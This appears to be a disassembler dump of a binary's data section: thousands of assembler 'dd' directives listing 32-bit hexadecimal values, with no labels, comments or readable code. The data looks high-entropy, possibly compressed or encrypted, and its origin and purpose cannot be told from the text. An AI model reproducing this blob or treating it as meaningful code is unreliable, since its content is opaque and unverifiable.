		dd 9578D600h, 2BF2E1AFh, 48C8C53Bh, 654D0220h, 9CD6ACFAh
		dd 644E1020h, 2B9DD05Dh, 4D00D0ACh, 4E1B8516h, 0F5448601h
		dd 0A5C8FF3Ch, 0D7B00005h, 0DB5E45F9h, 0BE021381h, 0FB835E4h
		dd 0F0B0A061h, 0FE74A7A8h, 530B004Eh, 8E289EAEh, 7A79B0FEh
		dd 87487B00h, 17D8DF44h, 0ECCA423h, 0D2B2E09Bh,	465C9A61h
		dd 0B4099818h, 7EBB21h,	16A911B1h, 0E75A93DFh, 0EF7C2D02h
		dd 406F7948h, 444E8D40h, 0C74349E8h, 3017A401h,	0D063683h
		dd 0BEC1A848h, 7A90FDEh, 905D1300h, 0C919A633h,	39816410h
		dd 3233C06Ah, 2E00DD02h, 3D6CCFE9h, 0F5FC693Ch,	7E7E024h
		dd 0FBC1EF1Ah, 0BBB6C0A8h, 3D488FF9h, 48A27B00h, 0D830DC2Dh
		dd 0A2A01F0Dh, 2E0073F1h, 7E8F5CEAh, 92D0C5ACh,	6A79004Ch
		dd 0BE69085h, 563361C7h, 38C5083Ch, 86802B21h, 11B46626h
		dd 350097D0h, 0A12F98E5h, 3C3F9BCh, 607C9C1Fh, 797943F8h
		dd 723F040Ah, 0AFC39CBCh, 0A62100B0h, 0DF3C1236h, 8F00B161h
		dd 2DA5E4FCh, 38BE0F20h, 0A68058C8h, 0DF5A481Eh, 4712789Fh
		dd 185FA9C4h, 49AECFC0h, 253565Ch, 2EEC1CD0h, 0DD606560h
		dd 3913A7B4h, 30401AE0h, 0DF0B8F81h, 43B12475h,	0B200DE0Ch
		dd 0D2ED35ADh, 650CD64h, 8568880Ah, 4A15D18Ch, 2698C2C4h
		dd 0F50E8177h, 6356472Dh, 7ED7D897h, 7B2605Eh, 581FED4h
		dd 0F908E3CCh, 3D9C047Ah, 0E139047Ch, 4681F0C9h, 0E07EADC9h
		dd 18698427h, 1CD82662h, 0B51C0790h, 0A8734E2Fh, 7B1142h
		dd 0E01A4A57h, 0CA84091Fh, 83693C98h, 29BF0098h, 6CF379F6h
		dd 5104F1DFh, 0BD5939C5h, 7084B0CEh, 9C4630EAh,	391103B8h
		dd 0D6E53A2Dh, 797CC901h, 0D735DD85h, 0BB28C8CAh, 5D95CE1h
		dd 0B91C50h, 9A65EB5h, 2582A08Ah, 227C3E49h, 50F8DD5Ah
		dd 1C93C7B0h, 7AB630B0h, 0FF44847Ch, 1A490B5Ch,	5180F93Ch
		dd 0A9EA23C2h, 0C604FD48h, 5A1DCF5h, 0C2069CD0h, 0BD089060h
		dd 9600CC07h, 21E4089Bh, 0F3CB3Ah, 0A29793EDh, 6858DE95h
		dd 3169C530h, 39F4D7h, 67CF1E71h, 0D65B40B7h, 191A83Fh
		dd 0CEEBEE55h, 0F9847A4Eh, 8018D089h, 0EF4AC198h, 4134BD02h
		dd 6168D9C3h, 0B1CC0AA8h, 655380Fh, 5D2A7B03h, 0C3F02735h
		dd 0F118BB10h, 324025F6h, 446630E7h, 54C85D58h,	0FAF6A377h
		dd 782A8301h, 6231A22Ch, 0C29CB2D6h, 0DE56406Dh, 88189172h
		dd 1127C56h, 0A44E2801h, 0DC419CFFh, 0E9825463h, 0DC2A84D9h
		dd 6CE4A045h, 0CD99C261h, 0FCE025A8h, 42076477h, 0DA6C9B80h
		dd 0DCA04B47h, 1C4FF76h, 0FC01A759h, 643C86DBh,	88C0F364h
		dd 0B1640FB7h, 7FEA3B72h, 0E416178Eh, 6680D643h, 0E12F7004h
		dd 88C0F697h, 0FAB3D732h, 0E9721E0Fh, 0C5C0412Ch, 6404C719h
		dd 120A0B98h, 20E12DABh, 8CBBD470h, 1344C0A7h, 188D3860h
		dd 2688A907h, 0BEC2C934h, 0C390A20Ah, 8A4448B5h, 0CFA0027h
		dd 2B1DA953h, 0D00ADB9Ah, 0C06EC71Eh, 0D372AC80h, 595CF4h
		dd 0DA1823D5h, 2E9C6876h, 51D95800h, 0A516EABFh, 4A5440A4h
		dd 33357B02h, 0C1DA5875h, 799D719Dh, 0B37802DDh, 88427290h
		dd 6D48D440h, 2E45F58h,	4B53E57Ah, 0F064E35Dh, 28495AECh
		dd 26FCA306h, 2A48B01h,	31964125h, 78809A07h, 0C5CC0D93h
		dd 4087C050h, 1375ABF8h, 721DB09Bh, 370045ACh, 0C2D88583h
		dd 0B108264Fh, 14068208h, 31C17C9Eh, 20C1E230h,	7FC44022h
		dd 28C004A7h, 2698DDFAh, 0D64B0C44h, 7741B7E2h,	8A38174Ch
		dd 276004D9h, 42967Ah, 0E0433D2Ch, 0E91A5553h, 5884D300h
		dd 8976CE77h, 17A49064h, 1FBE94BDh, 9D920870h, 1BBF8206h
		dd 177A7C30h, 695371h, 4911A6F4h, 6704B217h, 2070F1BDh
		dd 0AA2CCC82h, 7D0F3828h, 0C040902Fh, 0E2D8409Bh, 99AF6812h
		dd 98C22441h, 604C7EA3h, 16BE032Dh, 63588039h, 90E1A822h
		dd 2F832204h, 0B3337F00h, 2BEAA885h, 0BDB50C36h, 179171E1h
		dd 0E4529890h, 880687Ch, 79ECE88Ch, 83E41A4Ah, 8401F1FCh
		dd 1874BE2h, 0C5FD5352h, 5AA0820h, 2B76E7A1h, 0CC480469h
		dd 32803C1Ah, 2249E6C3h, 836A04C1h, 9CF13939h, 2C15E054h
		dd 55F20C68h, 8481F842h, 0D406350Ah, 0AC0018C2h, 0BD5E25EAh
		dd 7CC51467h, 620C502Bh, 9339288Ah, 0D025C600h,	5DF9BE3Eh
		dd 64CCA807h, 56EC3245h, 0AC605411h, 0FB05D4FFh, 7D5D632Ah
		dd 4455BC40h, 0A3345A0Eh, 13CC0F4h, 78C41EC2h, 7D5C00E9h
		dd 83ABFF39h, 0A28110DDh, 7BD808F8h, 14DAE5F0h,	34FC4581h
		dd 0D6C6DC40h, 0EA18A0C1h, 2F3DB71Ch, 7831A0E9h, 5893A709h
		dd 16B8406Bh, 0A49F37A6h, 0FAE99C4h, 22BEA0D0h,	0A07A1F07h
		dd 840ABCAAh, 8E84192Bh, 9D00B2E2h, 0BE016AEAh,	0F37A1401h
		dd 0BB3518AEh, 0BAE18C70h, 405657A4h, 8D0451C8h, 60727DA9h
		dd 0E2D8EA03h, 0F04E45Ah, 116B6AC6h, 0C822FB89h, 10855D08h
		dd 0B85459FEh, 0AABC5337h, 72525909h, 0BD90039Eh, 4A400CE2h
		dd 0CED05D3Dh, 66EC2C90h, 0D404B0D2h, 10C8479Fh, 0C695067h
		dd 21714217h, 7D9B88C2h, 7103B10Ch, 15400076h, 23205781h
		dd 7402F9CAh, 101EFEBAh, 6CC4487Eh, 88B60062h, 7C6A366Fh
		dd 1871818Fh, 250E3D18h, 0D2CDA548h, 81C0C0E1h,	0B1FE768Dh
		dd 0F1805894h, 622C5999h, 2DB200E8h, 5217BC18h,	0F202AD96h
		dd 0ED319AEh, 2E849059h, 81606010h, 0A4011D7Fh,	0C3E4AE00h
		dd 4F46FC4Dh, 1E16005Bh, 92341821h, 32001769h, 54A04A66h
		dd 2AF381h, 4B58F925h, 398CDC7Bh, 56DAE305h, 0E4305ECFh
		dd 4FF361h, 47154DC5h, 24FDD660h, 4857AD1Dh, 7C7D4987h
		dd 0DA90CD90h, 3E2902A3h, 0EBE63318h, 0FB697C40h, 0B8822894h
		dd 0A737AECBh, 0FE075B84h
		dd 154538C0h, 195760B1h, 78A6D19Eh, 44001698h, 758A6679h
		dd 77DFEh, 150A85A3h, 0A457C90Bh, 8D7AC518h, 59B868h, 0F778B5EBh
		dd 561FFEEFh, 39C743Dh,	0BA47D557h, 0AD6AE85Ch,	4D2100AEh
		dd 0E79DDF22h, 0AF009CF6h, 65CCE245h, 7ACD4F57h, 90D5038Eh
		dd 2F629456h, 7807118Eh, 4C11A085h, 1F07D657h, 124943A0h
		dd 0A96E0180h, 629EEE34h, 3EA48060h, 0D688E5CBh, 0B095E84Dh
		dd 0ED6318E2h, 48266057h, 0A1B88900h, 17380EEBh, 0C12A01C6h
		dd 2EDBE24Dh, 0C100716Bh, 0A75CD83Ah, 0A3EE2B01h, 78DE7E5h
		dd 4983A531h, 226212EBh, 713FE878h, 85B0EF6Bh, 805ED0F4h
		dd 0B93F003Dh, 1D83B5F8h, 63E07987h, 0C492293Bh, 0FA397C90h
		dd 0BD119500h, 0ACDE2291h, 0D53400F9h, 87323EEEh, 0F0065F5h
		dd 0BDFA62E8h, 0BC24E7h, 0F2DEE909h, 0EA0BFB14h, 2C0F5900h
		dd 0D50023Fh, 0E2420063h, 0B89CBD15h, 68004183h, 6B387BACh
		dd 3F01BB9h, 0DC8F6039h, 0F6A043F8h, 0F70E5263h, 0A0B5B6D9h
		dd 1B1ED3AFh, 0E4014493h, 45854044h, 0D239DC2Bh, 896C8480h
		dd 0E62841C0h, 0B0FA1106h, 12523911h, 4370116Ch, 51051E14h
		dd 0BB1A3C83h, 8FB5F4h,	0F63A1441h, 733D48BEh, 152C8900h
		dd 0D6DB09CFh, 21EE23h,	8F7A9C3Eh, 71041213h, 54775B0Fh
		dd 722FA089h, 5A7B20h, 15B4F464h, 40754248h, 573FFD00h
		dd 119B8CF5h, 0D4A301E7h, 7D97ABD5h, 0F8BCDD0Ch, 93033D62h
		dd 9C632976h, 7C7BD801h, 0F413008Dh, 8814A287h,	0E90007F8h
		dd 8C06F6AFh, 0FF7DD3h,	0C1899195h, 81A96320h, 0F951C707h
		dd 16E05901h, 0E3B76Ch,	0C32C4FE6h, 0F12F5647h,	0F489B14h
		dd 0D60072D8h, 0CE4329EBh, 8B3DE3h, 62DA3C1Eh, 5D2A4D3Bh
		dd 70440E01h, 98321B7Ch, 7EE7AEDCh, 83B9002Eh, 0B44EA9A4h
		dd 497289D3h, 0B7017803h, 0F8C4BBFDh, 640A44h, 36F2F61Fh
		dd 6C8C4D97h, 0D00617Fh, 33236B3Ch, 0AB5E2Ch, 0B724A7A0h
		dd 0D5B931F9h, 5A722B0Eh, 0E88B2196h, 0F7F4FD0Bh, 4C490045h
		dd 0B2C8C39Ah, 0E307FB66h, 0BBA643DBh, 0ED57B390h, 12F267h
		dd 3992ECF9h, 9D8CAF0Dh, 0A5D5351Eh, 0ABAE7EC0h, 334B89Eh
		dd 53B31E5Dh, 0D5E04E22h, 1300A88Fh, 0E81851DAh, 2AEB6CBAh
		dd 1794B4B8h, 479B7Ah, 0BDDD0116h, 8A009CB3h, 0C028E512h
		dd 71CAA09h, 369E8BD0h,	6579B096h, 863D6122h, 31E300D6h
		dd 452EFA51h, 28FD0056h, 7478B7Eh, 0C97B0E16h, 39705803h
		dd 0F16C298Fh, 3C308DC8h, 7317CFAh, 5CDB4DAAh, 6B20909Fh
		dd 211AB218h, 8E201494h, 220E1604h, 3880BC6Ah, 84D51E70h
		dd 1A7A149Dh, 3A00904Ah, 8AC4D7C2h, 0CA00390Ah,	18906BD8h
		dd 0E2FA46EEh, 243C900Bh, 3E94B077h, 0C43AEB00h, 1C467CF8h
		dd 0A0BB8200h, 3E3D2720h, 0DEAA0025h, 68444F4Dh, 0F84865B9h
		dd 207D8770h, 58FF360h,	0D00D1EB2h, 524F803Bh, 0E85086B8h
		dd 83D98C03h, 0C8554BE5h, 0FFFDAD8h, 0FC88A241h, 46BED3A1h
		dd 7E1EDC3Fh, 2AB21200h, 6AC3FFACh, 48784852h, 9F05DB0Eh
		dd 0F3EFCCE0h, 8000F9C1h, 68D05B41h, 1283674Fh,	2B638Bh
		dd 0DFABC334h, 0E5002558h, 658D8E0Fh, 80F523h, 9AE4C8C0h
		dd 0BBF9D4F4h, 76B66C02h, 60759583h, 0F1AE64h, 0F62E4D07h
		dd 0EDA2314Ch, 16E2202h, 40E21A6Ch, 0EA669A1Ah,	98094861h
		dd 848CEA00h, 5160B4C4h, 0E3ADF30Eh, 2E23E0D1h,	4142B7h
		dd 5A0EC122h, 0C05CF937h, 0B906E103h, 80AFD5FBh, 74230C7h
		dd 85BFC81Bh, 87131158h, 0D6290060h, 2659E2ECh,	28397Bh
		dd 0A0D21638h, 5C00AA42h, 8D0F269h, 98790Ch, 62FCE799h
		dd 25075544h, 0EE631507h, 0A661BCC9h, 0C0FA06C1h, 74F53F5h
		dd 9CB06DDCh, 0E982D2CFh, 0B43FE057h, 0F4C0C9Bh, 63107E64h
		dd 3F7FF000h, 0A99D0816h, 0A2760166h, 0F2CAB7D0h, 6308306Bh
		dd 21649603h, 0B088E681h, 437BBA4h, 0D29C1908h,	0B13C800Dh
		dd 0FB3D4129h, 2712005Dh, 437938FFh, 972E1448h,	4007F07Ah
		dd 84E88151h, 0D308099h, 0F7008692h, 0EF1671C0h, 7602B553h
		dd 7D2E0F51h, 672C3A27h, 0A9000C79h, 5DDBBC9Ah,	24FDDCA2h
		dd 0B6EE7Ch, 61CF5A7Fh,	0B107CE35h, 0B5F02CD5h,	0F080CB64h
		dd 0E0CC6685h, 0F9BE00FFh, 5F25B057h, 589A5613h, 7C6B2402h
		dd 83F88492h, 0E08635F9h, 3CF7CFh, 5BB7A1FDh, 0D63632F6h
		dd 198DDB00h, 0A542241Dh, 0A700A55h, 995281h, 0D33DABEFh
		dd 9600BD84h, 2D8BF915h, 55E449h, 8EFE8F20h, 3D4E14D9h
		dd 0AC00F2EAh, 8706A977h, 0F647DB8h, 539A5FAEh,	1EFDBD40h
		dd 0F248AAE8h, 0CA560058h, 1DD67520h, 0EA190034h, 6950EB94h
		dd 0E6EE3016h, 0E428C00h, 0ADEF8E2Ah, 72DE1C03h, 5F52045Ch
		dd 0AAA08091h, 4002DC24h, 740A7F68h, 8258409Dh,	0E09FE80h
		dd 0A15170C5h, 4BEC20A0h, 0FA011B99h, 394A59E8h, 0B8C0CA89h
		dd 0C300532h, 0FB0F03h,	188BDC94h, 0CF00401Ah, 0B367753Fh
		dd 913829Bh, 0FE48C954h, 9C5A7C00h, 8D00F0CCh, 0CDB911B4h
		dd 3C47C6D9h, 43000814h, 0B6EB4AA1h, 490001ACh,	125416B1h
		dd 9A593Dh, 0C3D1FADFh,	44047D06h, 0CAE0CE00h, 0B8F33AADh
		dd 0EDC50156h, 0A5A78D0h, 9886FC6Dh, 1A48A273h,	0AF5F0343h
		dd 0D8FA3B44h, 771609h,	15D28A07h, 0BCE11C7Bh, 0F3BAC613h
		dd 9CAA15h, 7A962BD8h, 93B7B43h, 243AD93Dh, 0B2C7000h
		dd 661CF65Fh, 0F1DCB8E6h, 8516D4C0h, 9E2E38h, 0E422C242h
		dd 7AB699F9h, 0BEECDCA0h, 6DDFAB50h, 5EA38200h,	44FD4E16h
		dd 3F54005Dh, 0C0DBC94h, 27000493h, 1A629A61h, 0AC6C71h
		dd 0A3588022h, 5AF4B5D7h, 0CCC8B100h, 6E78C459h, 0F589018Dh
		dd 0E51CD07Ah, 3F3470CDh, 0A693FD03h, 9090364Eh, 48FB6F9Eh
		dd 7B00E06Eh, 0FC3CB0C3h, 0B700E650h, 4A91D467h, 0E8223ED7h
		dd 496C006Eh, 7111BEC0h, 841F9C06h, 0D2408619h,	7C956B99h
		dd 91E700D1h, 873601A5h, 88B8CE6Ah, 423027F8h, 29EDE8B8h
		dd 6E3300EAh, 37095019h, 0F00090EFh, 3C027D89h,	0AC700Fh
		dd 6C41DC5Dh, 0B6DF8D47h, 0BB4C050Bh, 0CAC200Ah, 7C5516D2h
		dd 83E700CEh, 6877E142h, 0DB1EA12Eh, 0A40DF1Ch,	0C6E3D89Fh
		dd 4D0F020Bh, 0EC30A32Dh, 0AD00DC64h, 0C368AA4h, 0B86A1361h
		dd 28ED0068h, 0CFC5A188h, 2F03AB0Dh, 71074601h,	0A9200068h
		dd 0C3184EA4h, 0F25C051Dh, 0BE910058h, 956A6D08h, 68CE483Dh
		dd 9E2CA614h, 9B155600h, 0D0F6FC5Dh, 33B3400h, 2D295971h
		dd 97D605D7h, 0C068A3F7h, 0FC7DE809h, 45FFBC00h, 0C1133163h
		dd 0FAFE078Bh, 80F41857h, 8964DCAFh, 0EEBC7707h, 0E3C0E4C3h
		dd 0FC3905h, 51633731h,	287F4B58h, 8CB7A600h, 4EE1BEF6h
		dd 36A13D05h, 125DB060h, 4A033FD5h, 591CA4B3h, 0C953A1C1h
		dd 0C68A2C0h, 0A9D683B6h, 49EE76E8h, 602F300h, 0D9CAFEC2h
		dd 461F01F0h, 9DE16E2Ah, 5D080BEh, 653EB5AFh, 1C10C093h
		dd 6D5E75B0h, 6F00B7F2h, 20D44678h, 7DBDECE3h, 0FFA92ED9h
		dd 83FB0010h, 1C402CA4h, 7006ACB0h, 95CC31B8h, 0A5C30048h
		dd 5D9ED0D4h, 5B7FD28Bh, 605318CFh, 35A44F1Bh, 0E6909076h
		dd 74B40309h, 0D7571C43h, 8E850280h, 815D0F00h,	9AB09F4Eh
		dd 46753ADBh, 0A9004CCCh, 36276739h, 0F4A0F666h, 0BE01C950h
		dd 2D3A1D0Dh, 0EDC07A6Ah, 32DC3F0Fh, 214C82Ch, 38539FDEh
		dd 67913C68h, 0DF54AB24h, 0DC39703h, 9C80D54Eh,	989B330Ch
		dd 1DDD0264h
		dd 94546885h, 15C864E0h, 0EA64B201h, 0CF528C78h, 0FA040428h
		dd 90A75082h, 5ECD7A30h, 0A0168C0h, 181DEC6h, 0D97FD15Fh
		dd 0D80F7877h, 150EEF2Ah, 603449B3h, 0FE8E1A39h, 0FC7E0042h
		dd 27080717h, 9812F15Ch, 4090A05Bh, 2635E96Fh, 24C6925Ah
		dd 0FD8300Ah, 2D008613h, 2FBD19B7h, 4DFD3E4h, 0C75A9D71h
		dd 0DA34C3E5h, 97E602B8h, 5C56A400h, 90111F6Dh,	0F6C101BEh
		dd 6B85FBECh, 755090B4h, 357C0B96h, 0D0596887h,	6CE06E63h
		dd 0BF01BA00h, 0E9808F02h, 31D60007h, 0EDD0ECE1h, 4900458Bh
		dd 78514FF0h, 95569Bh, 0DC3DB448h, 633F81C0h, 0F6B13A09h
		dd 1FDC2003h, 0B235758h, 965EB25Ch, 0C021D305h,	0FAD631ECh
		dd 65498A00h, 294B1255h, 7C1002A7h, 0C71BA534h,	0FB3B9860h
		dd 91CE5F1Eh, 726D073Ah, 6C70F1C1h, 0A71C6Bh, 473B438Ah
		dd 0BD3EC829h, 0E9633301h, 0B7C367FBh, 125A05Ch, 0AEA0F171h
		dd 21940227h, 7A986058h, 95DA641Ch, 8D8B6DC5h, 1D0E27C0h
		dd 0E1FB15EDh, 1009C6Ah, 9CB7CFD5h, 0D6B82E17h,	44A25100h
		dd 0E4E8117Ch, 356F1DB1h, 0AEE94054h, 59D55EA1h, 0F43E3800h
		dd 53EA5C89h, 2DAD141Bh, 0FD0EEEEDh, 11207A2Bh,	140B6324h
		dd 0DB0125FCh, 0BA2271A0h, 7D70FB8Eh, 0AFB00716h, 0CBDE6921h
		dd 0C192EC82h, 0F6B950C0h, 0F0014B71h, 0C6434A6h, 0A820F888h
		dd 8CBCB9EEh, 7770CB48h, 9D033A7Fh, 7FEC4033h, 0E014A0D1h
		dd 632C05F5h, 80816203h, 0AF081AD7h, 0FB167203h, 0C01B34BBh
		dd 25B7E270h, 2C82370Ch, 8020FDEDh, 48248114h, 3C00246Ah
		dd 0EE9BCF38h, 9601C613h, 2CB1E2BAh, 20803455h,	88D6C46Eh
		dd 0A605D114h, 66DE1A6Bh, 2991880h, 0BA0E0369h,	0D840B061h
		dd 9483F6ABh, 5692380Ch, 50A3B03Dh, 0FCCACEEh, 0F46F5A13h
		dd 0CF679E20h, 9DF89FDFh, 0C6064700h, 0AA546BBCh, 0A8D90082h
		dd 0B2718763h, 0D200E6F5h, 46226DCDh, 3EA2E144h, 35002FF8h
		dd 38D16913h, 0FE50EE7Bh, 0BC0052B0h, 0C3D5DEFBh, 1EF95A3Fh
		dd 0A716B2h, 0E5F18C3Bh, 0A00AFADh, 613C3036h, 0BEF86Fh
		dd 8C0BA9FDh, 0D62827B2h, 0F6022A7Bh, 8D9629F2h, 9EDCE071h
		dd 0D5AF03A5h, 87C7E151h, 18FD0CFh, 0AD004BAEh,	0EAD2BF8Bh
		dd 23004BCh, 0EBA65492h, 0D4C8331Fh, 3A02F1CAh,	0EEF8C716h
		dd 0A76440ADh, 0CCA93F58h, 0F8504C3Eh, 3774009Bh, 7BAE8390h
		dd 360ED365h, 0D5128903h, 66DD8024h, 0B8CCD282h, 0F5D903E9h
		dd 602D23B4h, 0F90378A8h, 1F403E00h, 0E5DDDC8h,	1D952E90h
		dd 0C4211DBDh, 0F082D3AEh, 3D07D83Ch, 885E2557h, 59C2DCD5h
		dd 5D5EC8h, 82929D87h, 5D008B24h, 333A11CEh, 0EECB61h
		dd 96EA1E2Ah, 4D493F99h, 0DC88E13Ch, 0CE3300BCh, 74C7D045h
		dd 0BB6B502Bh, 216EC4Ch, 42F897A9h, 8C40037Fh, 0A88B8BF3h
		dd 0B7EDF14h, 0AD949FA4h, 6A01E481h, 0DCE5C423h, 82670B00h
		dd 667B5789h, 4B38000Eh, 0DBBB03Ah, 0F500C556h,	237BD17h
		dd 918A8h, 7A813E13h, 0B7FC2EDAh, 83F26B1Dh, 0FD161940h
		dd 0B86A554Bh, 0C4A000ECh, 34C99A5Ah, 3D008E62h, 424F86CCh
		dd 4CF9D60Dh, 48750DECh, 31009D2Bh, 8697B9Eh, 18000D41h
		dd 0FB55E293h, 7C355286h, 77AE0242h, 83EDD57Ch,	8F848440h
		dd 0C104103h, 0F1F54EF4h, 0D8477BDDh, 0D4C05CF4h, 0E22D204h
		dd 29DA3778h, 0B28DA160h, 8A1F0D46h, 0D100FA5Ch, 94420775h
		dd 0F4EB1FF9h, 82E80C6h, 96ABE78Ch, 0A2DFF500h,	2168BF2Fh
		dd 660C0094h, 4FF21BF3h, 731D42B5h, 7F413370h, 4BEDAEC9h
		dd 174CFC40h, 0CD3400E9h, 493D6DD4h, 3F003874h,	257888B8h
		dd 0C0F06CF5h, 71750DFEh, 0A072E4DCh, 244AE700h, 0F83C7B61h
		dd 0A30202CBh, 0CA81AD70h, 9DC95AC0h, 51D11100h, 5F1359A6h
		dd 0C0230010h, 0CDFCCE09h, 1E003A06h, 8E37BCF2h, 78894Eh
		dd 4329E213h, 0CA35801h, 20596402h, 0E0FEFA6Eh,	1C539D30h
		dd 0C0520D3Ah, 91D90ACAh, 0A500B3BEh, 8101604Dh, 1DE2CBCFh
		dd 0C9CA390Bh, 6280A053h, 8F2721B7h, 419EEB00h,	7B4222BFh
		dd 6515023Bh, 8575C494h, 0E88D4040h, 1C03AD4Bh,	0F872A519h
		dd 27FA30Fh, 5C01794Dh,	0E8801A5Ah, 0CDC61176h,	94916200h
		dd 9BC502D6h, 0E499021Ch, 715EEF32h, 604B0860h,	0A52A3300h
		dd 209850BBh, 0DC20C7ECh, 0A7E4E073h, 89071671h, 34F8BBCAh
		dd 800277E2h, 0DCC7A88Ch, 0FA960086h, 890E4BABh, 0A5006639h
		dd 52BDF048h, 12FFBAF2h, 0BF8C32DBh, 970A3300h,	14DEDDB5h
		dd 0F065FB5Ah, 0E525FC00h, 0DCA97B71h, 2F8CC00h, 0BD774FE8h
		dd 0A4C10069h, 50A7E03Dh, 0F000593Ch, 75D336F2h, 18FE7D17h
		dd 8CCCC466h, 0E00ADE72h, 0F09A30BDh, 56FE6D80h, 159290Fh
		dd 0B21C7F41h, 72A97E69h, 519B03B8h, 905B9C03h,	0B3C728h
		dd 624190B6h, 0D50602D3h, 7EB1C900h, 47EAFB21h,	202500CFh
		dd 74B0364Bh, 43E78F82h, 0AA0033FCh, 417081B7h,	79D99AFDh
		dd 0C7B10451h, 810FA09Ch, 0E4032991h, 6D0753DDh, 0F8334480h
		dd 6F11C20h, 626B002Fh,	93E34846h, 2300D566h, 4B7FB760h
		dd 3209C3h, 20DE6235h, 7AC1ACB3h, 6F02C472h, 2F4CEB54h
		dd 0DF0C61C2h, 7DD1720h, 0F8963C32h, 671F30F7h,	609AE855h
		dd 0A1182D7Eh, 0BE30C01Ch, 0D9DA007Fh, 0A3BA87E0h, 0A75890F7h
		dd 2145833h, 0E78A464Fh, 405050h, 8D328CF8h, 0ED574D87h
		dd 0AE8B2800h, 0DB22E68Fh, 0E7EA00C9h, 0A9416F0Dh, 3B3848BEh
		dd 0CB640604h, 1811174h, 8FB1DCA8h, 0D199A5FEh,	0CD65D1DEh
		dd 8C208CB5h, 440F1076h, 32F0CEFCh, 41806933h, 7691D872h
		dd 2F340074h, 8BD84FF1h, 0D3F0B410h, 0C2B6BE00h, 1A91DB9h
		dd 0B070EF69h, 42DF0026h, 27559F77h, 1C009C9Dh,	0F9375386h
		dd 54C481h, 2BABB6B1h, 91358B52h, 20D652h, 77F094C3h, 33034ECAh
		dd 0CD196BABh, 4997A60h, 0E5AF51h, 3AB26A9Bh, 0A498E888h
		dd 79D94C00h, 0BFEA8F60h, 72A31721h, 685F0F70h,	3AD565A0h
		dd 0CC00DB42h, 0D4C10DD1h, 139F06h, 92B1D824h, 0F382835Bh
		dd 714BCD03h, 0B0DF73C3h, 0FB675B3h, 778506C0h,	0A9ED2680h
		dd 0FC00D9CFh, 0EFF28DC2h, 1CA7D2h, 0CAC5DF67h,	3868999Bh
		dd 3E6A7601h, 0B6D980AFh, 2E51FC4h, 361E258h, 50E8702Dh
		dd 7BE0F98Ch, 0D08F5100h, 6260075Eh, 98B700B0h,	41927453h
		dd 20DD40DBh, 0B6499C41h, 204E157Ah, 8565B011h,	9C5F81ACh
		dd 0AF8E480h, 395F2B65h, 633EF5BBh, 68D9B30Ah, 0D74880B4h
		dd 4C5C9A7h, 0CD45E50Ch, 607C08F1h, 892820B9h, 0C17665E8h
		dd 6B569118h, 888C18h, 5AB67BCDh, 1BDA9B52h, 0D7F24B00h
		dd 84073FF0h, 13620E80h, 25AEC38Ch, 83E28D60h, 1260E57Eh
		dd 2B196858h, 8C7200ABh, 3DB1A60Eh, 0C9E9A5CFh,	0F6208584h
		dd 5580AA6Ah, 7C4C1C2h,	0F26603ACh, 9AEBF095h, 44068F50h
		dd 42253DB7h, 0E0371F0h, 6B99CA3Eh, 41FBD785h, 2118FCC4h
		dd 0E7885BDh, 8060B4B9h, 0B896A7D4h, 80EF53C1h,	200E9410h
		dd 0BCA0009Fh, 0E66D281Ch, 191F3FCEh, 308CCFCDh, 55979082h
		dd 9088D845h, 21079C7Ch, 29C53A42h, 53E3C840h, 301D6ABh
		dd 0FABDAC71h, 75A39181h, 7BC52100h, 7AEEBEA8h,	86EC30EAh
		dd 54842F18h, 29CE453h,	8C70AB31h, 1081313Eh, 3AB18F4h
		dd 7325C8B3h, 3840B21Fh, 0B5213D48h, 0ABCC0028h, 91787BDFh
		dd 0BA764486h, 61A82C12h, 409B8BCh, 10C3EBA1h, 20D23AA8h
		dd 1D29D503h
		dd 2471C486h, 82103E08h, 4BD22284h, 9F48EDE0h, 0FD770CA0h
		dd 55B2C016h, 0F7BD5900h, 1EADD6Fh, 8126DBC6h, 0FCC06E03h
		dd 0EC9006F5h, 8968DF0Ah, 75813C87h, 71D52DD2h,	68402818h
		dd 0D23D3881h, 0CD9F1680h, 26B7E2ACh, 7DDA3312h, 0A1D66840h
		dd 159873h, 4911082Bh, 0B037884Ch, 0CE219009h, 0BD9700C3h
		dd 141E48E9h, 9CC8E083h, 0ABF68C7Eh, 59211370h,	0E291AEh
		dd 0FA890C6h, 982D7DBh,	0DDF5188Bh, 7500E858h, 5E39607Ah
		dd 9D18CC0h, 7F9C3EEEh,	2E839385h, 6B3B1078h, 653811C0h
		dd 985403AEh, 960D7284h, 0B84579D7h, 1D2E20E2h,	339B08Eh
		dd 242CBE50h, 2BCFC87Bh, 161C04ABh, 0B0FC88Eh, 3FAAB3h
		dd 39D67FBDh, 0C7004677h, 205D0162h, 0E652175Ah, 54F5E80Dh
		dd 1C44B843h, 498BA499h, 538E9394h, 9EBD1AE0h, 0F418FBC0h
		dd 20619BE4h, 653E0E25h, 6C40C946h, 0E92B986Dh,	0BA9BC800h
		dd 524EB577h, 868C1374h, 63641EA5h, 53BE1900h, 86EF34C5h
		dd 0A214F60h, 3D5A7DBh,	27F3C379h, 0F91C15C5h, 0B64F4CAEh
		dd 87A664B4h, 0E45154C1h, 0AB04220Ch, 0A5C68C0Fh, 193AF92Ch
		dd 939602ABh, 0E12C4610h, 7981B6D1h, 7CA4346Ah,	0BFF08A9Dh
		dd 0E5898C62h, 90F02749h, 0E3DD8A00h, 12FC07ACh, 5CCD6401h
		dd 0E6E5D298h, 0A5392068h, 28C01812h, 0B00F4809h, 11A8962Ch
		dd 88A901C1h, 7EC480D7h, 0C2AE8DA8h, 0CF3053Dh,	0A8EB248Eh
		dd 2BFB886Bh, 76C9027h,	0E1E7A608h, 2EBBB170h, 0F9950BF5h
		dd 109F50h, 0F2243E01h,	9100B490h, 0CF4B3244h, 0DD30040h
		dd 0B564A4A9h, 9E048036h, 434C572Fh, 70044C95h,	703090E2h
		dd 0D51026D2h, 0FCC1C99h, 58022A21h, 338E7DD2h,	0D8C3D9h
		dd 0FC4CF43Ch, 0C32C5C7Bh, 0E2AABF05h, 0C85DA2E0h, 1C8E5141h
		dd 0DE8E5B4h, 0DC98000Eh, 259A5D3h, 30A1EAAh, 0F0C8EA91h
		dd 2B9400BFh, 0F1205E21h, 44EB0E6Ch, 678B55AAh,	96623E00h
		dd 0C7156905h, 26902706h, 0DC88DFh, 3206DDCFh, 622F2717h
		dd 8CA8F5EAh, 13008641h, 696556D9h, 0F282C535h,	907D17F2h
		dd 0A1D021B4h, 0D80DED04h, 0F1021F48h, 0DC090BA5h, 0E4084516h
		dd 5EFE6076h, 4C99F4h, 8293183Ch, 251E9AD0h, 0C641BA30h
		dd 8748B559h, 3E01B064h, 0E700E811h, 2496138Bh,	0DC2583C2h
